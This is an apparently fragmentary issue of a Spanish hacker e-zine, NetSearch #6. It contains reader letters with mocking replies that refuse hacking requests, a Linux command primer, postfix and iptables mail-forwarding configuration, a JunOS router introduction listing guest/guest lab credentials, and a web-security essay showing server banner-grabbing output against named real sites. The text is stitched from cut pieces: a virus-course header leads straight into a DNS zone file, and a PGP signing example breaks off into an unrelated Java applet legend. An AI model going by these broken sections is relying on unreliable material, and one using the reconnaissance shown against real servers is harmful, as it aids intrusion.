apago el ordenador me dice que hay 1 usuario conectado e incluso 2.
Gracias de antemano por todo y como supongo que no podre utilizar el
ordenador en unos dias podeis escribirme al remite de este e-mail.
Muchas, muchas gracias por todo.
Un abrazo.
Marian
[ Pues de forma clara, estas infectada por el virus Win32/funlove. Te
recomiendo que entres en http://www.pandasoftware.es y te hagas una
revision gratis a tu disco duro en busca de virus. ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
[ Un hacker es una mala persona. No creo que quieras ser una mala persona. ]
_-_-_-__-_-_-_
[ Es una lastima, pero no puedes hacer nada. Simplemente admite que te han
suplantado la personalidad y que vas a necesitar otra nueva. Es hora
de plantearte si quieres cambiar o hacer una completamente distinta, pues
se te ha dado la posibilidad de elegir. ]
[ Casi se me olvida, JB BUCLE ]
_-_-_-__-_-_-_
Hola! No se si este es el sitio adecuado para enviar esto, pero creo que
vosotros me ayudareis como hackers ke soys. Kiero iniciarme en esto de
hackear paginas web y no encuentro un chat en el que poder hablar con
personas que esten en mi misma situacion. Os agradeceria muchisimo ke me
contestarais Esta es mi pagina web www.gratisweb.com/eltrokolo , si kereis
Hackearla me sentiria orgulloso. Si me contestais pongo un link en mi pagina
y en la de mis amigos, aunke creo que no lo necesitais. Bueno Hasta pronto.
(espero)
[ Pues no, he estado preguntando por ahi, y aqui no nos dedicamos a esas
cosas. Los que jaquean paginas we son los de attrition y los de OTT. ]
_-_-_-__-_-_-_
Hola
Necesito el algoritmo de validacion de numeros de tarjetas de
credito para implementarlo en un programa.
Por favor si lo tienes, pasamelo o si sabes donde conseguirlo dimelo.
Gracias y Saludos
Postdata: Tu pagina no es nada cutre (No es peloteo).
[ Gracias por no pelotear. El algoritmo es publico desde hace 20 aos,
asi que solo tienes q escarbar un poco en los buscadores. ]
_-_-_-__-_-_-_
hola a todos:
me imagino que se van a cagar de risa cuando lean este mail, me refiero a mi
ignorancia, de todas formas no pierdo nada con probar.
mi situacion es la siguiente tengo 23 aos y en la puta vida habia tocados
una compu hasta hace cosa de cuatro meses y no puedo parar, me encanta y
estoy continuamente buscando mas informacion, quiero aprender todo lo que
pueda. bien el tema es que me puse a leer sus articulos y no entiendo un
carajo. por donde puedo empezar? que son todos esos garabatos que ponen? para
que sirven? etc.
lo que me puedan dar sera bienvenido, muy bienvenido.
desde ya muchas gracias por su tiempo.
pd: no se si sirve de algo pero mi maquina es una pentium 4 con un disco
de 30 y 128 ram. tengo windows 98.
chau.
_-_-_-__-_-_-_
hola, tengo un problema y quiza ustedes pueden ayudarme, resulta que hay un
tipo o tipa que se yo que me esta molestadno bastante y quisiera saber quien
es, la verdad yo no se nada de esto de hackers o cracker, pero me han dicho
que ustedes pueden ayudarme a investigar su pasword y ver si en su mail puedo
encontrar algo de informacion, o incluso pueden saber de que maquina se envio
el mail, la ubicacion, quiero saber si esto es cierto y si pueden ayudarme,
de verdad estoy desesperada, espero su respuesta lo mas pronto que puedan, de
antemano gracias
[ Te han recomendado mal. Nosotros solo somos estudiantes zampabollos que
no salimos de casa y nos quedamos encerrados chateando y conspirando
contra los ircops de la red, para hacer un golpe de estado y hacer que
Scytale vuelva con todo su poder. ]
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
INTRODUCCION A LINUX
En cualquier sistema Unix, del cual deriva el Linux, tenemos que tener claro
que hay un superusuario que es el que maneja al 100% el sistema, el cual
tiene acceso y derechos acerca de todos los dispositivos, y otros serian
usuarios normales que tienen accesos "limitados" al sistema. El superusuario
es lo que se denomina "root" y como digo no existen limites para el. Si
conseguimos acceder a una maquina con privilegios de root no tendremos
limites ;).
Aunque parezca lo contrario debemos siempre en nuestra maquina estar como
usuario normal, sin privilegios de ningun tipo, ya que en un despiste
podriamos daar el sistema, solo utilizando el superusuario root para
realizar alguna configuracion excepcional, esta es alguna de las razones de
no existir apenas virus en linux, a diferencia de windows, el posible virus,
si estamos en una sesion normal como usuario no tendria posibilidad ninguna
para acceder a algun fichero o dispositivo critico del sistema. Otra de las
grandes facetas de linux es la de internet, bien es cierto que linux es un
sistema operativo creado practicamente con la ayuda de cientos de hackers y
personas apasionadas por los sistemas a traves de internet, y es 100% libre
en codigo fuente, lo que lo hace todavia mas seguro y por supuesto adaptable
a nuestras necesidades.
LOS COMANDOS
Esta parte es muy importante. Aunque estemos acostumbrados a windows que todo
hace sin aadirle ningun comando tipo copy, rd, etc... es muy importante
conocer los comandos de Linux, aunque con el entorno grafico de manera
similar a windows no haria falta saberlos... en fin pero la consola es
nuestra amiga mas fiel, recuerda... ;). A continuacion una lista de los
comandos mas utilizados en Linux:
cd , sirve para entrar en directorios, con "cd .." avanzamos al directorio
inmediatamente inferior.
mkdir , sirve para hacer directorios ( mkdir nombre_directorio).
rmdir , borra el directorio si este esta vacio ( con rmdir -r borra todo ).
cp , copia archivos, ( cp origen destino ).
rm , borra archivos ( tambien directorios con la opcion -r ).
ln , hace enlaces ( con la opcion ln -s hace enlaces simbolicos -son los mas
frecuentes-).
ls , lista los archivos y directorios ( con la opcion -l nos muestra los
permisos y con la opcion -a nos mustra los archivos ocultos -los precedidos
por punto ".").
chmod + opcion , cambia los permisos de un archivo o carpeta.
man , es el manual "en linea" de Linux. Si necesitamos ayuda sobre un
comando, una opcion, cualquier cosa, por ejemplo del comando "cp" hariamos
"man cp" y nos saldria gran cantidad de informacion del comando con todas las
opciones posibles... vamos, vamos que no solo en el Irc esta la informacion
;).
DESPEDIDA
Pues esto fue todo. Quedan aun muchas cosas que explicar y hacer referencia
pero el espacio del que dispongo no es tan extenso como todos quisieramos.
Espero que muchas dudas acerca sobre Linux fueran solucionadas, aunque si ya
eres un experto esto no te habra sido de gran ayuda. En el proximo numero
quiza profundicemos mas en el tema ;). Hasta la proxima!.
HuFaKlF
amilrego@worldonline.es
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x14 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Curso de Virii (Virus Inform.) ]-========================================
=-[ por Wintermute ]-========================================================
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Servidores NS.
; Servidores MX.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
@ NS nodo.networking-center.org.
MX 10 carlos.microwolf.net.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Servicios con IP Asignada
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
nodo A 193.243.244.6
www A 193.243.244.7
ftp A 193.243.244.7
correo A 212.79.132.10
carlos A 212.79.132.10
carlos A 212.79.132.11
smtp IN CNAME carlos.microwolf.net.
pop IN CNAME carlos.microwolf.net.
De todo este archivo de zona, lo que mas nos interesa son los registros de
correo, carlos, smtp y pop, asi como el registro MX.
Una vez hecho esto, tendriamos que hacer que el servidor de DNS al que apunta
el dominio en cuestion, actualizara las zonas. Se entiende por zona a cada
uno de los dominios que estan dados de alta en dicho servidor DNS. Tambien
habria que esperar a que el resto de servidores de DNS de Internet
actualizaran su cache en caso que ya tuviera cacheado el dominio en cuestion.
Como podemos observar, parte del objetivo lo tenemos cumplido, ya que en unas
ocasiones nos ha resulto la 212.79.132.10 y en otras la 212.79.132.11.
Concretamente, de los 10 ping realizados, el host carlos.microwolf.net nos ha
contestado como la 212.79.132.10 en 6 ocasiones y como 212.79.132.11 en 4 de
las ocasiones. Segun estos datos, el balanceo ha sido de 60% / 40%, lo cual
es muy optimo para el metodo elegido ya que esto mismo, por norma general, se
hace a traves de componentes de hardware preparados especificamente para ello
y con posibilidad de configurarle que tanto por ciento queremos para cada
maquina.
4.- El siguiente paso sera hacer que todo el correo que llegue al SMTP del
Linux y que vaya dirigido a cualquier usuario del dominio microwolf.net, se
reenvie al SMTP del NT, ya que es este quien tiene los buzones POP.
Para ello, deberemos hacer uso del archivo transport. Lo primero que
deberemos hacer es indicarle al postfix en el main.cf que vamos a usar dicho
archivo. Aadiremos la siguiente linea en el /etc/postfix/main.cf:
transport_maps = hash:/etc/postfix/transport
Ahora aadir las siguientes lineas en el /etc/postfix/transport:
codex@afrodita:~ > cat /etc/postfix/transport
undersec.com local:
localhost local:
microwolf.net smtp:correo.microwolf.net:25
Si es la primera vez que hacemos uso de este archivo, las 3 lineas de ese
archivo son de vital importancia ya que como dije anteriormente, aqui diremos
hacia donde reenviar el correo que vaya hacia un determinado dominio /
subdominio y por tanto debemos indicar tambien que si va dirigido a
@localhost o @undersec.com, los buzones estan en esta misma maquina ( local:
). En cambio, si va dirigido a @microwolf.net le indicamos que lo mande a la
IP a la que apunta el host correo.microwolf.net, que si consultais el archivo
de zona del DNS, apunta a la 212.79.132.10, es decir, al NT. Una cosa muy
importante a tener en cuenta es que NO se puede poner directamente la
direccion IP de la maquina.
Forma incorrecta:
microwolf.net smtp:212.79.132.10:25
Forma correcta:
microwolf.net smtp:correo.microwolf.net:25
Una vez editado el archivo /etc/postfix/transport deberemos ejecutar el
siguiente comando para crear el transport.db y que realmente tenga efecto lo
realizado.
root@afrodita:/ > postmap /etc/postfix/transport
5.- Como siempre hay que intentar ponerse en el peor de los casos, eso es lo
que hemos hecho puesto que hemos definido un mismo Host para el correo SMTP y
el correo POP, por tanto, deberemos indicarle al Linux que si recibe una
peticion al puerto 110, esa peticion la debe redireccionar a la maquina NT,
que es donde se encuentra el correo POP y por tanto, los buzones de los
usuarios.
Para llevar a cabo eso, usaremos iptables:
# Redireccionar conexiones al 110 de afrodita hacia el 110 del NT
iptables -t nat -A PREROUTING -i eth0 -p tcp -d 212.79.132.11 --dport 110 -j
DNAT --to 212.79.132.10:110
iptables -t nat -A PREROUTING -i eth0 -p udp -d 212.79.132.11 --dport 110 -j
DNAT --to 212.79.132.10:110
# Hacemos el masquerade hacia el NT para la redireccion del puerto 110
# En caso que el NT tuviera como gateway a afrodita, no seria necesario.
iptables -t nat -A POSTROUTING -o eth0 -d 212.79.132.10 -j MASQUERADE
# Utilizado para el redireccionamiento hacia el 110 del NT
# ya que es necesario el reenvio de paquetes entre las maquinas
iptables -t filter -A FORWARD -p tcp -s 212.79.132.10 --sport 110 -j ACCEPT
iptables -t filter -A FORWARD -p udp -s 212.79.132.10 --sport 110 -j ACCEPT
iptables -t filter -A FORWARD -p tcp -d 212.79.132.10 --dport 110 -j ACCEPT
iptables -t filter -A FORWARD -p udp -d 212.79.132.10 --dport 110 -j ACCEPT
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
====================================
== indice ==
====================================
== ==
== 1.- Introduccion ==
== 1.1.- Juniper Networks ==
== 1.2.- Junos ==
== 2.- JunOS ==
== 3.- CLI ==
== 3.1- Introduccion a CLI ==
== 3.2- Que es CLI? ==
== 3.3- Manejo basico de CLI ==
== 4.- Comandos y terminaciones ==
== 5.- JunOScript ==
== 6.- Algunos Routers ==
== 7.- Despedida ==
== ==
====================================
1.- Introduccion
================
Hola, soy TaSeH, y creo articulos :PPP, bueno como novato en este mundo no
espereis mucho de este articulo, me refiero a que no espereis cosas tecnicas
sobre JunOS, porque, como su titulo indica, esto solo es una introduccion.
Si el articulo te parece falto de contenidos, no me explico bien en algo o
cosas por el estilo, recurre a el e-mail taseh@gmx.net o a el IRC, suelo
estar por #netsearch. Espero que tengas en cuenta, que soy novato en esto, y
no seas muy critico... :P. Tambien espero que os guste el articulo...
2.- JunOS
=========
Bueno, no voy a hablar de caracteristicas tecnicas de JunOS, prefiero hablar
de su manejo. Para manejar JunOS, podemos recurrir a la CLI, o a JunOScript.
De esto hablaremos un poco mas abajo...
3.- CLI
=======
3.1- Introduccion
=================
Junos es una version de Unix BSD, pero no es necesario conocer Unix para
manejarlo, ya que, si bien es posible acceder a este sistema, toda la gestion
de router se hace desde un entorno especifico, el CLI, mucho mas facil de
manejar y desde el cual se tiene acceso a todas las herramientas de
depuracion y al editor que permite modificar la configuracion por medio de
unos sencillos comandos de facil utilizacion.
Comando: file ?
Posibles terminaciones:
copy Copy files (local or remote)
delete Delete files from the system (local)
list List file information (local)
rename Rename files (local)
show Display file contents (local)
Comando: help ?
Posibles terminaciones:
reference Reference material
topic Help for high level topics
Comando: request ?
Posibles terminaciones:
message Send a text message to other users
Comando: set ?
Posibles terminaciones:
cli Set CLI control flags
Comando: show ?
Posibles terminaciones:
aps Show APS information
arp Show system ARP table entries
as-path Show table of known AS paths
bgp Show information about BGP
chassis Show chassis information
cli Show command-line interface settings
configuration Show configuration file contents
connections Show CCC connections
dvmrp Show information about DVMRP
firewall Show firewall counters and information
igmp Show information about IGMP
ilmi Show ILMI information
interfaces Show interface information
isis Show information about IS-IS
ldp Show information about LDP
mpls Show information about MPLS
msdp Show information about MSDP
multicast Show multicast information
ntp Show Network Time Protocol information
ospf Show information about OSPF
pfe Show packet forwarding engine data
pim Show information about PIM
policy Show policy information
firewall Show firewall counters and information
igmp Show information about IGMP
ilmi Show ILMI information
interfaces Show interface information
isis Show information about IS-IS
ldp Show information about LDP
mpls Show information about MPLS
msdp Show information about MSDP
multicast Show multicast information
ntp Show Network Time Protocol information
ospf Show information about OSPF
pfe Show packet forwarding engine data
pim Show information about PIM
policy Show policy information
rip Show information about RIP
route Show routing table information
rsvp Show information about RSVP
sap Show session advertisement addresses
snmp Show SNMP information
system Show system information
task Show routing protocol per-task information
ted Show information about TED
version Show software process revision levels
vrrp Show VRRP information
Comando: test ?
Posibles terminaciones:
interface Interface test commands
msdp MSDP Peer debugging
policy Import and export policy evaluation
============================================================================
Este es el listado de comandos, sin todas las terminaciones, y sin traducir.
Si te interesa el tema, puedes mandarme un e-mail pidiendome que te envie la
lista completa de comandos y terminaciones, o pidiendome los comandos en
espaol, pero como el articulo no pretende ser tecnico, solo una
introduccion, he decidido no meter mucho rollo para no aburrir a demasiada
gente... :PPPP.
Si deseas practicar un poco, no tienes mas que acceder a la siguiente
direccion, haciendo telnet, o mediante ftp:
==========================================================
== olive.labs.pulltheplug.com - (209.9.44.209) ==
== Juniper Router - JUNOS 4.4R1.5 - l/p : guest/guest ==
==========================================================
- Para mas info visita http://www.pulltheplug.com.
5.-JunOScript
=============
5.1.- Que es JunOScript?
JunOScript es una API, en XML, que sirve para comunicarnos con el router con
el que estemos trabajando. Como este articulo es una introduccion, no voy a
meter mucho rollo. Si sabes programar en XML, observaras que es un lenguaje
muy agil en cuanto a la relaccion cliente-servidor, en este caso, relaccion
router-usuario, por lo tanto muy apto para la finalidad que buscan los
ingenieros de Juniper Networks.
CLI:
show bgp neighbor 10.168.1.112
JunOScript:
<rpc>
<get-bgp-neighbor-information>
<neighbor-adress>10.168.1.112</neighbor-adress>
</get-bgp-neighbor-information>
</rpc>
Si quieres mas informacion sobre estos routers, hay un pdf con las
caracteristicas de cada uno en la web de Juniper Networks.
7.-Despedida
============
Si tienes alguna sujerencia, queja, felicitacion, peticion, o insulto
especialmente reservado para mi, hazmelo saber a traves de mi e-mail:
taseh@gmx.net.
Hasta el proximo articulo, espero seguir escribiendo para NetSearch, y para
vosotros, los que me leeis. Este es el comienzo de una gran amistad xDDD.
Saludos a QuasaR, RaiSe, Sp4rK... y a todo el staff de NetSearch en general.
Saludos tambien a la gente de Disidents, ya mucha, mucha gente que todavia no
conozco, pero, espero conocer y hacer buenos amigos... Un saludazo a
{^DaNi^}, que sabe mucho de todas estas cosas... ;).
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
--[1]-- Introduccion
Este articulo pretende tratar de dar los conceptos generales sobre temas de
seguridad referentes a la WWW, aunque se ha de recordar que todos los puntos
tratados en este documento se ven desde una perspectiva general ya que cada
uno de ellos seria suficiente para hacer un documento entero, a la vez que
hay muchos temas que no seran tratados.
Los problemas de seguridad de la WWW se podria decir que son de los mas
interesantes, ya que estos mismos se extienden a mas gente que otros
protocolos, debido a que para la mayoria de la gente Internet es la
Web. Los servidores Web estan continuamente en peligro, expuestos a robo
de informacion como a destruccion de ficheros siendo uno de los blancos
preferidos por los intrusos.
A su vez estos servidores ofrecen nuevos servicios a la gente mediante
el uso de CGI scripts, los cuales suelen ser escritos por programadores
expertos pero no muy habiles en temas de seguridad, siendo estos una de
las principales fuentes de quebraderos de cabeza.
En terminos generales se podria hablar de 3 causas de los fracasos
en Internet referentes a la seguridad:
1. La falta de uso de criptografia apropiada
2. Fallos en el codigo de los programas
3. Errores de configuracion
Este pequeo resumen viene a explicar la gran verdad de que "la seguridad
esta condenada a fallar", ya que cuestiones como el punto 2 estan mas
alla de nuestras posibilidades como simples usuarios, mientras que
cuestiones como la 1 se escapan del control de los administradores de
los servidores y sistemas, debido a que no pueden controlar la conducta
de sus usuarios, siendo para estos ultimos muy facil el no hacer caso.
Para empezar a trazar un plan de defensa ,hay que decidir que estas
protegiendo y su precio, al igual que saber quienes son realmente los
enemigos; se podria decir que una de las mejores estrategias es una
mezcla de seguras tecnicas de control y el poder proporcionar una buena
educacion en cuestiones de seguridad a los usuarios, intentando evitar
la proliferacion de usuarios desprevenidos los cuales suelen seguir
instrucciones al pie de la letra para mismamente descargar un programa
de internet regalando a menudo sus claves; pero no siempre hay que
seguir instrucciones para estar en peligro, ya que a veces el peligro
viene con la forma de un navegador con componentes por defecto inapropiados
como pudiera ser la ejecucion automatica de java, podremos ver bonitas
animaciones pero pueden ocurrir extraos sucesos a nuestras espaldas.
Desde el punto de vista de la seguridad Java es demasiado complejo y como
resultado ha tenido varios fallos, (complejidad y seguridad no se llevan
bien), lo que puede llevar a la existencia de "grietas" que viene a
unirse al hecho de que los servidores web son muy complejos tanto para
programadores como administradores, siendo una de las mejores soluciones
el uso de la criptografia la cual protege sin dar muchos problemas, aunque
algunos protocolos criptograficos han tenido fallos tambien.
En cuanto a este tema los servidores y exploradores la han usado teniendo
en algunos paises restricciones del gobierno en cuanto al tamao de la
clave, habiendo habido fallos que han permanecido durante aos.
--[2]-- Un poco de historia
Pero no por ello todo son desgracias ya que hay muchas formas de establecer
una web segura, estableciendo permisos de ficheros, mediante certificaciones
criptograficas de autorizacion, etc. Ante este escenario muchos se
preguntaran de el porque de tantos fallos, lo cual tiene una sencilla
explicacion.
El rapido crecimiento de Internet hizo que la seguridad fuese aadida
como algo adicional, sin prestarle demasiada importancia, donde las
actuales amenazas fueron introducidas a lo largo de cada una de las
distintas fases de su desarrollo y los errores previos no siempre fueron
corregidos; se podria decir que la Web ha heredado todos los fallos de
seguridad de internet, ya que sus desarrolladores se precipitaron
creando un rico entorno pero pasando por alto vulnerabilidades.
La verdad es que los fallos de los principios de la web al interactuar
con antiguas y modernas caracteristicas de la misma hacen que aumenten los
peligros; antiguamente y aun hoy en dia, se podia falsificar correo
conociendo el protocolo SMTP, los servidores ftp dejaban el sistema de
archivos completamente vulnerable, con telnet las contraseas eran
transmitidas sin ningun tipo de proteccion, habia fallos en la
implementacion del protocolo TCP/IP que permitian crear direcciones ip
falsas (lo cual era muy util ya que muchas aplicaciones usaban esa
informacion para autentificarse), averiguando el numero de secuencia TCP se
podia espiar una conexion o uno de los ataques mas interesantes ,el DNS
Spoofing mediante el cual si se conseguia alterar la direccion ip asignada a
un nombre de servidor se podia hacer pasar por el. Pues bien toda esta
coleccion de fallos esta todavia presente en nuestros dias, a pesar de que
es conocida desde hace mucho, lo que nos da una idea de la importancia
que se le asigno a la seguridad en aquellos lejanos tiempos.
Pero sin duda alguna la mayor amenaza reside en el entorno homogeneo
del cliente y el servidor, ya que usan los mismos programas y protocolos,
lo que hace Internet posible constituye su mayor debilidad toda una
paradoja, y un buen ejemplo de ello fue el archifamoso gusano de Morris el
cual aprovechando un fallo en el demonio fingerd infecto miles de
ordenadores de todo el mundo, tambien debido en gran parte a que es
imposible eliminar todos los fallos de programacion en los programas grandes
tipo sendmail el cual se ejecuta con privilegios del sistema, habiendosele
encontrado fallos en los ultimos 10 aos.
Por lo tanto la introduccion del protocolo HTTP y del formato HTML han
aadido nuevas amenazas a las ya existentes, ya que ahora un fallo en
Netscape afectaria a mas ordenadores que si hubiese existido en la epoca
del gusano de Morris. Dentro de estas nuevas amenazas nos encontramos con
los CGI scripts que introducen nuevos y serios asuntos de seguridad, estos
mismos sirven para procesar la informacion que facilitamos en el servidor,
pero con ellos los usuarios pueden crear sus propios fallos para usarlos
contra la gente, se suelen ejecutar con privilegios lo que les da el
control del servidor; algunos de estos scripts tienen fallos que pueden
ser explotados por algun cliente para comprometer al servidor, ya que
algunos mandan los datos de entrada directamente al interprete de comandos,
lo que podria llevar a poder ejecutar codigo arbitrario en el servidor,
obtener informacion de correo privado, cambiar datos en la maquina, cerrar
el servidor teniendo que ser reiniciado, etc.
--[3]-- Problematica Cliente - Servidor
Una vez que se han ejecutado scripts en el servidor, el siguiente
paso es ejcutar scripts en el cliente, ya que una forma de reducir la carga
en un servidor es mandar scripts a todos sus clientes para que
los ejecuten localmente, siendo el ejemplo mas general los scripts en java
lo que nos lleva al peligroso concepto de ejecutar codigo de una
localizacion arbitraria ya que hay formas de romper el chequeo de
verificacion para permitir ejecutar codigo arbitrario y todo esto aunque
los creadores de java se esforzaron en la seguridad desde el principio es
una realidad, pero la cuestion es que un cliente web que corra con java
activado es vulnerable a ser atacado y esta opcion suele estar
"sorprendentemente" activada por defecto.
Pero no solo esta java como una posible amenaza, tambien nos podemos
encontrar con Javascript, el cual resulta ser todo un problema para poder
ser identificado por los firewalls, siendo mas dificil de bloquear ademas
de que en cuestiones de seguridad ha sido menos estudiado que java; tambien
existen lenguajes de script como activeX o Inferno (al igual que el s.o) que
se encuentra en desarrollo por parte de los Laboratorios Bell, toda una
maraa en la que no es dificil perderse.
Las principales amenazas ante las que nos podemos encontrar pueden ser
clasificadas de una forma bastante general en:
a)Integridad: modificacion de datos, programas tanto del usuario como del
servidor, pudiendo tomar el control del ordenador; una posible solucion
seria usar una llave criptografica de chequeo, Message Authentication
Codes (MACs).
b)Confidencialidad: robo de informacion del cliente, servidor, configuracion
de la red, etc. Usando la Web esta informacion esta en peligro, ya que
casi todos los exploradores tienen un cache con los sitios visitados, lo
cual se podria resolver mediante la encriptacion y el uso de web proxies.
c)DoS: impedimiento de acceso a recursos, mediante Dns Spoofing se puede
aislar a un host reencaminando todos sus paquetes, hay algunos tipos de
ataque faciles de hacer como el bombardeo mediante paquetes lo que llevaria
a un gran gasto de la CPU al tener que procesar continuamente mensajes
basura, un servidor puede ser desbordado con peticiones y el servicio para
los usuarios legitimos se retrasa o anula ya que algunos servidores limitan
el numero de conexiones simultaneas, tambien se podria conseguir rellenando
el disco o la memoria del ordenador atacado.
d)Autentificacion: suelen estar basados en la direccion ip, ya que hay
metodos para suplantarlas, habiendo tambien a su vez protocolos
criptograficos vulnerables a estos ataques, aun asi la mejor solucion
es el uso de tecnicas criptograficas.
Pero no acaba aqui todo ya que hay mas tipos de amenazas un poco mas
dificiles de definir, por ejemplo se pueden adquirir nombres de dominio
como www.ibn.com o www.whitehouse.org (la verdadera es .com) ,que pueden
servir para robar clientes o mandar a posibles victimas mediante un link
a una web bajo el control del atacante sin necesidad de falsificar ningun
nombre de dominio.
Otro ataque de denegacion de servicio mas peligroso que los anteriormente
mencionados y mas dificil de detectar, seria "matar" un pequeo numero
de paquetes entre el ordenador blanco y otra maquina ,siendo el efecto una
conexion muy lenta ya que los protocolos de alto nivel retransmitirian
estos paquetes ,siendo atribuida esta lentitud a redes lentas o a
ordenadores ocupados.
En cuanto a cuestiones de privacidad, al conectarnos a una web esta tiene
bastante informacion acerca de nosotros, para esto hay sitios como
www.anonymizer.com que actuan como proxy pero solo te protegen ante el
destino final, el cual veria que alguien quiere conectar desde anonymizer,
pero el trafico entre tu ordenador y anonymizer seguiria conteniendo
la informacion de los sitios en los que has estado.
Otros peligros ya mas referentes al explorador, serian leer correo desde
el mismo lo cual es una imprudencia, por ejemplo si un atacante descubriese
un nuevo fallo en java y quisiera obligar a un usuario a ejecutar un script
maligno, podria meter el applet en una web y enviarnosla y el explorador
la ejecutaria automaticamente. Otra cuestion seria la de no aceptar nunca
bajar automaticamente las actualizaciones de los programas, ya que mediante
un ataque de DNS se podria contactar con la maquina del atacante bajando
una version del programa con un troyano, lo cual se evitaria con el uso de
firmas digitales.
A su vez toda persona que desee establecer una pagina web, debe de intentar
conocer las ventajas e inconvenientes de todos los servidores web que hay
en el mercado para aprender sobre los fallos que son mas comunes en estos a
la vez que se ha de preocupar para configurar este mismo de la mejor forma
posible, intentando ofrecer solo los servicios imprescindibles. Un aspecto
muy importante es el ir actualizando los servidores segun se van sacando
parches para vulnerabilidades conocidas, ya que un atacante podria hacer
algo tal que asi :
[memonix@ragnarok memonix]$ ./quehttpd www.microsoft.com
Que httpd V 0.1.1-Revision is part of the Lorian Project.
Coded at "The Lorian Project"
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 17 May 2001 21:41:59 GMT
Connection: close
Content-Length: 0
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Cache-Control: private
[memonix@ragnarok memonix]$ ./quehttpd www.phpnuke.org
Que httpd V 0.1.1-Revision is part of the Lorian Project.
Coded at "The Lorian Project"
HTTP/1.1 200 OK
Date: Thu, 17 May 2001 14:34:59 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk)
mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
Connection: close
[memonix@ragnarok memonix]$ ./quehttpd www.nsa.gov
Que httpd V 0.1.1-Revision is part of the Lorian Project.
Coded at "The Lorian Project"
HTTP/1.1 200 OK
Date: Thu, 17 May 2001 21:56:58 GMT
Server: Apache/1.3.11 (Unix)
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
Connection: close
Donde un atacante no tendria nada mas que comprobar que dicha version no
contiene ninguna vulnerabilidad la cual podria estar sin parchear, lo que
le facilitaria el trabajo en gran parte.
--[4]-- Distribucion de software seguro
Ante estos problemas de la distribucion de software seguro en internet
hay soluciones, algunas mas complicadas como seria que el distribuidor
hiciese firmas digitales para todos los ficheros, lo que seria algo complejo
ya que necesitaria toda una infraestructura de llave publica; otra
solucion al problema seria Betsi, una clave publica la cual ha sido
diseada por expertos como Phil Zimmermman el autor de PGP y con la
colaboracion de grandes empresas como Netscape, Betsi requiere que los
usuarios obtengan software criptografico como PGP y MD5.
El metodo a seguir seria el siguiete, los autores se registrarian con Betsi
y ofrecerian Betsi con una llave publica, luego Betsi verificaria su
identidad; una vez que los autores se han registrado pueden comunicarse
seguramente porque ellos pueden repartir copias validas a otras llaves
publicas; cuando se tiene un fichero que distribuir el crea un certificado
de peticion para el fichero, la solicitud contendra detalles como el nombre
del autor, del fichero a ser certificado, etc. Entonces el autor firmaria
la peticion con su clave privada y la mandaria a Betsi. Un ejemplo de una
peticion seria:
- - - - - BEGIN PGP SIGNED MESSAGE - - - - -
Author Name:Some Author
Author Organization:Software Company, Inc.
Hash function:MD5
Date of certificate creation:12/20/00
fef16954e74a219b1bcg67f22511b25 distribution.tar.Z
e2ab456tdb50ce66e44db501b33ef12 archive.tar.Z
Donde :
NN --> Netscape Navigator cargando applets en la red
NL --> Netscape Navigator cargando applets desde el disco local
AN --> Appletviewer JDK cargando applets en la red
AL --> Appletviewer JDK cargando applets desde el disco local
JS --> Java stand-alone aplications
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Bueno, otra vez mas aqui acaba este numero de NetSearch Ezine. Como siempre
ha sido un placer realizarlo, esperamos que os haya gustado ;).
Aunque personalmente estoy muy satisfecho de este NS #6, me pasa lo de
siempre, y es como si hubiera algo que no me terminara de convencer.. Me
imagino que eso siempre pasara, pero al menos sirve para algo, para que nos
sigamos esforzando en superarnos numero a numero. Y es que eso es lo
importante, las ganas de seguir adelante, y os aseguro que a nosotros no nos
faltan ;).
Ahora la pregunta de siempre.. NS #7 para cuando?.. Mm.. veamos, si todo sale
bien estara terminada para finales de Octubre. Para entonces muchas cosas
habran pasado; el verano, la campus, las con's.. Menos mal que para eso aun
falta, y tenemos todo el verano por delante para disfrutar.. Asi que ya
sabeis, tened cuidado con el sol y esas cosas ;).
Feliz verano y hasta pronto.
Nos vemos en NetSearch Ezine #7.
El Editor
0x00